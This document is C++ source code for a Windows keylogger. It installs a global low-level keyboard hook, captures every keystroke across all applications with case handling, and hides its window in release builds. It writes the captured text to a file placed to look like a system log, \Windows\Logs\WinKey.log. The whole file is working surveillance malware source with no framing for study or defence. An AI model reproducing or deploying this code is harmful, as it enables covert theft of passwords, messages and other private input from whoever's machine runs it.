1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235
|
#include <fstream>
#include <iostream>
#include <string>
#include <windows.h>
//#define NDEBUG 1
#define USE_BUFFERING 0
#define OUTFILE_NAME "\\Windows\\Logs\\WinKey.log" /* Output file */
#define CLASSNAME " "
#define WINDOWTITLE " "
#if USE_BUFFERING
# define KEYBUFFER_SIZE 8 /* keybuffer is flushed whenever
* keybuffer.length() returns this
*/
#endif
HHOOK kbdhook; /* Keyboard hook handle */
bool running; /* Used in main loop */
bool flushbuffer; /* Used to hold key presses until the buffer is flushed */
std::string keybuffer; /* Holds keypresses until ready to output them */
/**
* \brief Called by Windows automagically every time a key is pressed (regardless
* of who has focus)
*/
__declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp)
{
if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
static bool capslock = false;
static bool shift = false;
char tmp[0xFF] = {0};
std::string str;
DWORD msg = 1;
KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lp);
bool printable;
/*
* Get key name as string
*/
msg += (st_hook.scanCode << 16);
msg += (st_hook.flags << 24);
GetKeyNameText(msg, tmp, 0xFF);
str = std::string(tmp);
printable = (str.length() <= 1) ? true : false;
/*
* Non-printable characters only:
* Some of these (namely; newline, space and tab) will be
* made into printable characters.
* Others are encapsulated in brackets ('[' and ']').
*/
if (!printable) {
/*
* Keynames that change state are handled here.
*/
if (str == "CAPSLOCK")
capslock = !capslock;
else if (str == "SHIFT")
shift = true;
/*
* Keynames that may become printable characters are
* handled here.
*/
if (str == "ENTER") {
str = "\n";
printable = true;
} else if (str == "SPACE") {
str = " ";
printable = true;
} else if (str == "TAB") {
str = "\t";
printable = true;
} else {
str = ("[" + str + "]");
}
}
/*
* Printable characters only:
* If shift is on and capslock is off or shift is off and
* capslock is on, make the character uppercase.
* If both are off or both are on, the character is lowercase
*/
if (printable) {
if (shift == capslock) { /* Lowercase */
for (size_t i = 0; i < str.length(); ++i)
str[i] = tolower(str[i]);
} else { /* Uppercase */
for (size_t i = 0; i < str.length(); ++i)
str[i] = toupper(str[i]);
}
shift = false;
}
keybuffer += str;
#if USE_BUFFERING
if (keybuffer.length() >= KEYBUFFER_SIZE)
flushbuffer = true;
#else
flushbuffer = true;
#endif
}
return CallNextHookEx(kbdhook, code, wp, lp);
}
/**
* \brief Called by DispatchMessage() to handle messages
* \param hwnd Window handle
* \param msg Message to handle
* \param wp
* \param lp
* \return 0 on success
*/
LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp)
{
switch (msg) {
case WM_CLOSE: case WM_DESTROY:
running = false;
break;
default:
/* Call default message handler */
return DefWindowProc(hwnd, msg, wp, lp);
}
return 0;
}
int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
LPSTR cmdline, int ncmdshow)
{
/*
* Set up window
*/
HWND hwnd;
HWND fgwindow = GetForegroundWindow(); /* Current foreground window */
MSG msg;
WNDCLASSEX windowclass;
HINSTANCE modulehandle;
windowclass.hInstance = thisinstance;
windowclass.lpszClassName = CLASSNAME;
windowclass.lpfnWndProc = windowprocedure;
windowclass.style = CS_DBLCLKS;
windowclass.cbSize = sizeof(WNDCLASSEX);
windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
windowclass.hCursor = LoadCursor(NULL, IDC_ARROW);
windowclass.lpszMenuName = NULL;
windowclass.cbClsExtra = 0;
windowclass.cbWndExtra = 0;
windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;
if (!(RegisterClassEx(&windowclass)))
return 1;
hwnd = CreateWindowEx(NULL, CLASSNAME, WINDOWTITLE, WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, 0, 0, HWND_DESKTOP, NULL,
thisinstance, NULL);
if (!(hwnd))
return 1;
/*
* Make the window invisible
*/
#ifdef NDEBUG
ShowWindow(hwnd, SW_HIDE);
#else
/*
* Debug mode: Make the window visible
*/
ShowWindow(hwnd, SW_SHOW);
#endif
UpdateWindow(hwnd);
SetForegroundWindow(fgwindow); /* Give focus to the previous fg window */
/*
* Hook keyboard input so we get it too
*/
if (!(modulehandle = GetModuleHandle(NULL))) {
std::string tmp;
if (!(GetModuleFileName(thisinstance, (LPSTR)tmp.c_str(), MAX_PATH)))
return 1;
if (!(modulehandle = LoadLibrary((LPCSTR)tmp.c_str())))
MessageBox(hwnd, tmp.c_str(), "This program is: ", MB_OK);
}
kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, NULL);
/*
* Main loop
*/
running = true;
std::ofstream outfile(OUTFILE_NAME, std::ios_base::out);
while (running) {
/*
* Get messages, dispatch to window procedure
*/
if (!GetMessage(&msg, NULL, 0, 0))
running = false; /*
* Note: This is not a "return" or
* "break" so the rest of the loop is
* done. This way, we never miss keys
* even if closed (but we still exit).
*/
TranslateMessage(&msg);
DispatchMessage(&msg);
/*
* Output and flush key buffer if flushbuffer set or running unset
* (we flush the buffer on exit regardless of whether or not
* flushbuffer is set)
*/
#if USE_BUFFERING
if (!running || flushbuffer) {
#endif
#ifndef NDEBUG
std::cout << keybuffer << std::flush;
#endif
outfile << keybuffer << std::flush;
keybuffer = "";
#if USE_BUFFERING
flushbuffer = false;
}
#endif
}
outfile.close();
return 0;
}
|